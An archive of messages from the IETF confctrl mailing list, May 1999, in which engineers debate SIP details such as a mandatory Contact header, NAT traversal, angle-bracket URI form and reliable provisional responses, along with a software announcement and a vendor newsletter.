Received: from [17.255.20.102] (dsinger2.apple.com [17.255.20.102])
	by scv1.apple.com (8.9.3/8.9.3) with ESMTP id PAA15230;
	Mon, 3 May 1999 15:12:11 -0700
MIME-Version: 1.0
X-Sender: singer@mail.apple.com
Message-Id: <v04020a06b353cd86eced@[17.255.20.102]>
In-Reply-To: <93496446F5EDD211A8C100805FEAD74901911F@nsrip00207.mcit.com>
Date: Mon, 3 May 1999 15:09:10 -0700
To: rem-conf@es.net
From: Dave Singer <singer@apple.com>
Subject: SAP for MAC fyi
Cc: confctrl@ISI.EDU
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've heard recently of "Silly SAP Client" for the Mac, and it now has a web
page.

Anyone needing to gather SDP announcements on Macintosh can download this
program.

The web site for MacOS Binary is at:

	http://macinfo.its.queensu.ca/MBONE/SillySAPClient.html


David Singer
Apple Computer/QuickTime

From confctrl-owner  Mon May  3 23:28:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA16458
	for confctrl-outgoing; Mon, 3 May 1999 23:28:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16453
	for <confctrl@zephyr.isi.edu>; Mon, 3 May 1999 23:28:05 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA09278
	for <confctrl@ISI.EDU>; Mon, 3 May 1999 23:28:03 -0700 (PDT)
Received: (qmail 1910 invoked from network); 4 May 1999 08:28:01 +0200
Received: from sdu184-246.ppp.algonet.se (HELO felix.intertex.se) (195.163.246.184)
  by angel.algonet.se with SMTP; 4 May 1999 08:28:01 +0200
Message-ID: <372E9362.5250E642@intertex.se>
Date: Tue, 04 May 1999 08:27:46 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <19990503144646.GDIL26508@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  So are you not concuring with the consensus?  Either Contact is mandatory
> or it is not.  We can't call it mandatory but allow Invites and 200s
> without it, that is contradictatory.  I'd rather have new implementations
> break early on if Contact is missing so they fix them per this proposed
> update to the standard.
> 
> John Hearty
> MCI Worldcom

And the NAT-dropping-Contact problem?

Or do you agree with Mr Donovan, thinking it is outside the bounds of
the SIP specification?

If NAT problems can be avoided when designing protocols, why not avoid
them?

Is there anyone here thinking SIP shouldn't work behind NATs?

After all, I think SIP is the 'conference protocol' that is the best
suited for traversing firewalls.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Tue May  4 01:20:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA21232
	for confctrl-outgoing; Tue, 4 May 1999 01:20:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA21227
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 01:20:14 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA14265
	for <confctrl@ISI.EDU>; Tue, 4 May 1999 01:20:13 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04BNC; Tue, 4 May 1999 10:20:18 +0200
Message-ID: <372EADC3.27A5A995@ellemtel.se>
Date: Tue, 04 May 1999 10:20:19 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Name-address form in Contact
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In section 6.21 in the SIP-RFC it is said regarding the use of name-addr
form in the From-header:

Even if the "display-name" is empty, the "name-addr" form MUST be
   used if the "addr-spec" contains a comma, question mark, or
   semicolon.

Is this true in the Contact header as well? E.g must a SIP-URI
containing parameters be put within <> as in

Contact: <sip:user@host;transport=tcp>

or is it all right to use

Contact: sip:user@host;transport=tcp

I believe the former is better since it makes it totally clear to what
entity the parameter belongs.

Peter Peldan

From confctrl-owner  Tue May  4 06:39:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02333
	for confctrl-outgoing; Tue, 4 May 1999 06:39:26 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02328
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 06:39:23 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id GAA22392
	for <confctrl@isi.edu>; Tue, 4 May 1999 06:39:21 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue May  4 09:36:47 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA22538;
	Tue, 4 May 1999 09:36:47 -0400 (EDT)
Message-ID: <372EF4F7.A7EDD5F@dnrc.bell-labs.com>
Date: Tue, 04 May 1999 09:24:07 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: Name-address form in Contact
References: <372EADC3.27A5A995@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by nova.dnrc.bell-labs.com id JAA22538
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id GAA02329
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In all cases, when there are semicolons, commas, or question marks in
the URI, the name-addr form must be used (angle brackets). I think
someone had already mentioned this needs to be clarified.

-Jonathan R.

Peter Peldán wrote:
> 
> In section 6.21 in the SIP-RFC it is said regarding the use of name-addr
> form in the From-header:
> 
> Even if the "display-name" is empty, the "name-addr" form MUST be
>    used if the "addr-spec" contains a comma, question mark, or
>    semicolon.
> 
> Is this true in the Contact header as well? E.g must a SIP-URI
> containing parameters be put within <> as in
> 
> Contact: <sip:user@host;transport=tcp>
> 
> or is it all right to use
> 
> Contact: sip:user@host;transport=tcp
> 
> I believe the former is better since it makes it totally clear to what
> entity the parameter belongs.
> 
> Peter Peldan

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue May  4 08:54:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07487
	for confctrl-outgoing; Tue, 4 May 1999 08:54:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07482
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 08:54:00 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04056
	for <confctrl@ISI.EDU>; Tue, 4 May 1999 08:53:59 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id KAA06631
	for <confctrl@ISI.EDU>; Tue, 4 May 1999 10:55:50 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA22706
	for <confctrl@ISI.EDU>; Tue, 4 May 1999 10:53:28 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA19320 for <confctrl@ISI.EDU>; Tue, 4 May 1999 10:53:23 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA13251
	for confctrl@ISI.EDU; Tue, 4 May 1999 10:53:20 -0500 (CDT)
Message-Id: <199905041553.KAA13251@b04a24.exu.ericsson.se>
Subject: Reliable 1xx w/BYE?
To: confctrl@ISI.EDU
Date: Tue, 4 May 1999 10:53:19 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


We've been putting together a design with reliable 1xx messages
based on draft-ietf-mmusic-sip-100rel-00.txt, and I've run into
a strange situation.

In the case that the SIP nodes in question support reliable 1xx
messages, how do we handle the receipt of 1xx messages in response
to a request other than INVITE?

I see three options:

1) Read literally, the current draft would seem to imply that an
   INVITE message would be used to acknowledge a 100 class message
   sent in response to, for example, BYE. The dangers in doing so 
   should be obvious.

2) The scheme described in the draft could be employed with whatever
   method the orginal request was (e.g. BYE instead of INVITE)

3) It could be explicitly spelled out that reliable 100 class messages
   are supported only for INVITE messages

I beleive the most obviously useful solution is number 2. Does anyone
else have comments?

-- 
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Tue May  4 14:51:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25271
	for confctrl-outgoing; Tue, 4 May 1999 14:51:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25266
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 14:51:09 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12348
	for <confctrl@ISI.EDU>; Tue, 4 May 1999 14:51:08 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FB8003DJ9KVME@firewall.mcit.com> for confctrl@ISI.EDU; Tue,
 4 May 1999 21:41:19 +0000 (GMT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id VAA05365; Tue,
 04 May 1999 21:37:56 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta3.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990504214126.KDPS606@localHost>; Tue,
 04 May 1999 16:41:26 -0500
Date: Tue, 04 May 1999 16:41 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: SIP: mandatory Contact
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        Lars Berggren <lars.berggren@intertex.se>
Message-id: <19990504214126.KDPS606@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 I think we have consensus on the need to make the Contact header mandatory
for both requests and responses.  While it is true this may not help
the NAT problem, it does not make it any worse, and helps considerably
when NATs are not involved.  I therefor propose the authors include
mandatory sending of the Contact header in requests and responses in
the RFC.

 I am learning the philosphy Jonathan recommended of strict send requirements
and gracious receive requirements is a basic Internet philosophy, and
we probabally should follow it.  However, in doing so, I would like to
see proposed solutions to the potential problem this creates.  What does
the last proxy of a Record-Route in subsequent requests do when the Contact
was removed?  Some suggestions previously discussed included passing an
empty Record-Route header, or work more like via headers where the
receiving proxy removes itself from the route and passes the header
on to the next proxy in the list. 

 It seems the NAT-dropping-Contact problem is only one of many potential
problems with NATs, and I invite Anders or anyone very familiar with NATs
to work on a separate draft identifying the potential problems they introduce
and propose solutions.

John Hearty
MCI Worldcom







Date: Tue, 04 May 1999 01:27 -0500 (CDT)
From: Lars Berggren <lars.berggren@intertex.se>
To: John Hearty <John.H.Hearty@wcom.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
    "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
    Anders Kristensen <ak@hplb.hpl.hp.com>,
    "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Sender: owner-confctrl@ISI.EDU
Subject: Re: SIP: mandatory Contact

John Hearty wrote:
> 
>  So are you not concuring with the consensus?  Either Contact is mandatory
> or it is not.  We can't call it mandatory but allow Invites and 200s
> without it, that is contradictatory.  I'd rather have new implementations
> break early on if Contact is missing so they fix them per this proposed
> update to the standard.
> 
> John Hearty
> MCI Worldcom

And the NAT-dropping-Contact problem?

Or do you agree with Mr Donovan, thinking it is outside the bounds of
the SIP specification?

If NAT problems can be avoided when designing protocols, why not avoid
them?

Is there anyone here thinking SIP shouldn't work behind NATs?

After all, I think SIP is the 'conference protocol' that is the best
suited for traversing firewalls.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Tue May  4 20:16:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA07777
	for confctrl-outgoing; Tue, 4 May 1999 20:16:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA07772
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 20:16:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA09158
	for <confctrl@isi.edu>; Tue, 4 May 1999 20:16:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue May  4 23:15:10 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.21])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA17914;
	Tue, 4 May 1999 23:15:08 -0400 (EDT)
Message-ID: <372FB7C7.BED01D2C@dnrc.bell-labs.com>
Date: Tue, 04 May 1999 23:15:19 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: Reliable 1xx w/BYE?
References: <199905041553.KAA13251@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> We've been putting together a design with reliable 1xx messages
> based on draft-ietf-mmusic-sip-100rel-00.txt, and I've run into
> a strange situation.
> 
> In the case that the SIP nodes in question support reliable 1xx
> messages, how do we handle the receipt of 1xx messages in response
> to a request other than INVITE?
> 
> I see three options:
> 
> 1) Read literally, the current draft would seem to imply that an
>    INVITE message would be used to acknowledge a 100 class message
>    sent in response to, for example, BYE. The dangers in doing so
>    should be obvious.

The draft is really targeted at INVITE. We hadn't considered other
methods, since they are substantially less important. INVITE, unlike
other methods, generally requires human interaction to answer. For most
other requests, the final response comes almost immediately (of course,
this doesn't have to be the case). Furthermore, the main reasons for 1xx
reliability are interoperability with the PSTN, where the provisional
responses to the original INVITE are needed. Its not necessary to get
them for other methods. So, in the interests of simplicity, I would vote
for keeping this just for INVITE, unless there is a compelling reason
otherwise.

Also, I believe you had mentioned in a previous note that the spec
allows proxies to not forward provisional responses. I agree this should
be changed, making it mandatory to forward them in order to achieve end
to end (rather than hop by hop) reliability. However, there is an issue
here: response implosion. A request which forks multiple times might
generate lots of provisional responses. This is one of the reasons why
forwarding them is optional in the first place (and why forwarding 100
(not 1xx) responses is not allowed). So, we can:

1. not worry about it, since the implosion problem may not be that
severe (a fork to 1000 UAS is unlikely)

2. disallow forking when reliable provisional responses are used

I'm inclined to not worry about it, but I'd welcome comments otherwise.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue May  4 20:44:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA08574
	for confctrl-outgoing; Tue, 4 May 1999 20:44:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA08569
	for <confctrl@zephyr.isi.edu>; Tue, 4 May 1999 20:44:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA10394
	for <confctrl@isi.edu>; Tue, 4 May 1999 20:44:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue May  4 23:43:05 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.21])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA18359;
	Tue, 4 May 1999 23:42:57 -0400 (EDT)
Message-ID: <372FBE4C.B18343E7@dnrc.bell-labs.com>
Date: Tue, 04 May 1999 23:43:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        Lars Berggren <lars.berggren@intertex.se>
Subject: Re: SIP: mandatory Contact
References: <19990504214126.KDPS606@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  I am learning the philosphy Jonathan recommended of strict send requirements
> and gracious receive requirements is a basic Internet philosophy, and
> we probabally should follow it.  However, in doing so, I would like to
> see proposed solutions to the potential problem this creates.  What does
> the last proxy of a Record-Route in subsequent requests do when the Contact
> was removed?  Some suggestions previously discussed included passing an
> empty Record-Route header, or work more like via headers where the
> receiving proxy removes itself from the route and passes the header
> on to the next proxy in the list.

In cases where a proxy decides to remove the Contact header, its
basically the proxies responsibility to do something which makes sure
that the call can be correctly routed. It might store, on disk, the
appropriate routing information indexed by the Call-ID, To, From and
CSeq, and replace this information when requests arrive. Or, it might
encode the information in a bizarre Record-Route header. The point is,
its a local decision. A UAC MUST insert a Contact, but by making sure a
UAS can process the request even if its not there, we allow proxies to
play these games as needed.

Perhaps its not a major issue; I don't feel THAT stronly and if the
consensus is otherwise (otherwise being a UAS returns a 400 response
when it receives a request without Contact), fine.

Its worth noting that the problem is only for a UAC that doesn't insert
Contact. If the UAS doesn't insert Contact in the 200, things will still
generally work. The last proxy will get a request with a request URI of
the form: called_party@organization.com. It can use the same logic it
used to route this in the first place to route it now. With most
location services, this will be fine. Its only with extremely dynamic
location services (like ACD), where it might be misrouted. Plus, even if
it is misrouted, the tag ensures that no other end device will process
the re-INVITE or BYE.

With reverse routing (re-INVITEs or BYE from called party to calling
party), its different. The last proxy (which was the first in the
original call setup) will see a request URI which is that of the called
party, not the calling party (thats because the Record-Route headers
contained various translations of the called parties name). Thus, the
message will be completely misrouted and likely it will return to the
called party, rather than going to the calling party. Thus, it only
works with a Contact in the INVITE, or with a proxy which knows what to
do anyway (see examples above).

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed May  5 05:13:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA24392
	for confctrl-outgoing; Wed, 5 May 1999 05:13:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA24387
	for <confctrl@zephyr.isi.edu>; Wed, 5 May 1999 05:13:21 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA02550
	for <confctrl@isi.edu>; Wed, 5 May 1999 05:13:17 -0700 (PDT)
Message-Id: <199905051213.FAA02550@tnt.isi.edu>
Received: (qmail 29635 invoked from network); 5 May 1999 12:02:31 -0000
Received: from unknown (HELO usr160-haw.cableinet.co.uk) (194.117.146.206)
  by jaguars with SMTP; 5 May 1999 12:02:31 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter" <newsletter@cabot.co.uk>
Date: Wed, 5 May 1999 12:59:20 +0100
X-Distribution: Moderate
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Cabot Software's May '99 Newsletter
Reply-to: newsletter@cabot.co.uk
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.01b)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

---------------------------------------------------------------------
CABOT SOFTWARE NEWSLETTER UPDATE. May 99.
---------------------------------------------------------------------

* DOTRANS -  World's  First Internet to Digital TV  conversion 
software product & graphic conversion products.  


Cabot claims another world first with Dotrans (short for Dolittle 
Translator) a software translator which converts HTML into MHEG-5 
for Digital TV developers. ONdigital has chosen MHEG-5 as the 
software standard for Digital Terrestrial TV.  

Cabot has identified the major graphic conversion tools to convert 
GIF images to PNG, which supplement the functions of Dotrans.  


Dotrans is available for MS Windows and Windows NT, costing 130 
UK Pounds plus delivery and VAT.  Dotrans can be ordered from 
Cabot's web site http://www.cabot.co.uk or via Cabot's sales desk.  

------------------------------------------------------------------------
FULL DOTRANS INFORMATION IS NOW AVAILABLE FROM
CABOT'S WEB SITE http://www.cabot.co.uk/dotrans
------------------------------------------------------------------------



From confctrl-owner  Wed May  5 07:05:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27992
	for confctrl-outgoing; Wed, 5 May 1999 07:05:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27987
	for <confctrl@zephyr.isi.edu>; Wed, 5 May 1999 07:05:09 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06460
	for <confctrl@ISI.EDU>; Wed, 5 May 1999 07:05:08 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #37787)
 with ESMTP id <0FB900K0IIUOHT@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 5 May 1999 13:59:12 +0000 (GMT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id NAA03714 for <confctrl@ISI.EDU>;
 Wed, 05 May 1999 13:55:50 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta3.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990505135919.OESF606@localHost> for <confctrl@ISI.EDU>; Wed,
 05 May 1999 08:59:19 -0500
Date: Wed, 05 May 1999 08:28 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: Reliable 1xx w/BYE?
To: confctrl@ISI.EDU
Message-id: <19990505135919.OESF606@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

>Adam B. Roach wrote:
>> 
>> We've been putting together a design with reliable 1xx messages
>> based on draft-ietf-mmusic-sip-100rel-00.txt, and I've run into
>> a strange situation.
>> 
>> In the case that the SIP nodes in question support reliable 1xx
>> messages, how do we handle the receipt of 1xx messages in response
>> to a request other than INVITE?
>> 
>> I see three options:
>> 
>> 1) Read literally, the current draft would seem to imply that an
>>    INVITE message would be used to acknowledge a 100 class message
>>    sent in response to, for example, BYE. The dangers in doing so
>>    should be obvious.
>
>The draft is really targeted at INVITE. We hadn't considered other
>methods, since they are substantially less important. INVITE, unlike
>other methods, generally requires human interaction to answer. For most
>other requests, the final response comes almost immediately (of course,
>this doesn't have to be the case). Furthermore, the main reasons for 1xx
>reliability are interoperability with the PSTN, where the provisional
>responses to the original INVITE are needed. Its not necessary to get
>them for other methods. So, in the interests of simplicity, I would vote
>for keeping this just for INVITE, unless there is a compelling reason
>otherwise.

 This sounds reasonable to me.

>
>Also, I believe you had mentioned in a previous note that the spec
>allows proxies to not forward provisional responses. I agree this should
>be changed, making it mandatory to forward them in order to achieve end
>to end (rather than hop by hop) reliability. However, there is an issue
>here: response implosion. A request which forks multiple times might
>generate lots of provisional responses. This is one of the reasons why
>forwarding them is optional in the first place (and why forwarding 100
>(not 1xx) responses is not allowed). So, we can:
>
>1. not worry about it, since the implosion problem may not be that
>severe (a fork to 1000 UAS is unlikely)
>
>2. disallow forking when reliable provisional responses are used
>
>I'm inclined to not worry about it, but I'd welcome comments otherwise.

2 might complicate or break features in the eyes of users, I don't
think that is a very good option.  I agree it is unlikely there would
normally be more than a handful of forked requests, so 1 seems like
a good option.


John Hearty
MCI Worldcom


From confctrl-owner  Wed May  5 11:22:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA08574
	for confctrl-outgoing; Wed, 5 May 1999 11:22:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08569
	for <confctrl@zephyr.isi.edu>; Wed, 5 May 1999 11:22:38 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA00418
	for <confctrl@isi.edu>; Wed, 5 May 1999 11:22:37 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id NAA25849;
	Wed, 5 May 1999 13:24:28 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id NAA04056;
	Wed, 5 May 1999 13:22:01 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA06594; Wed, 5 May 1999 13:21:59 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id NAA09145;
	Wed, 5 May 1999 13:21:14 -0500 (CDT)
Message-Id: <199905051821.NAA09145@b04a24.exu.ericsson.se>
Subject: Re: Reliable 1xx w/BYE?
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Wed, 5 May 1999 13:21:13 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, confctrl@ISI.EDU
In-Reply-To: <372FB7C7.BED01D2C@dnrc.bell-labs.com> from "Jonathan Rosenberg" at May 4, 99 11:15:19 pm
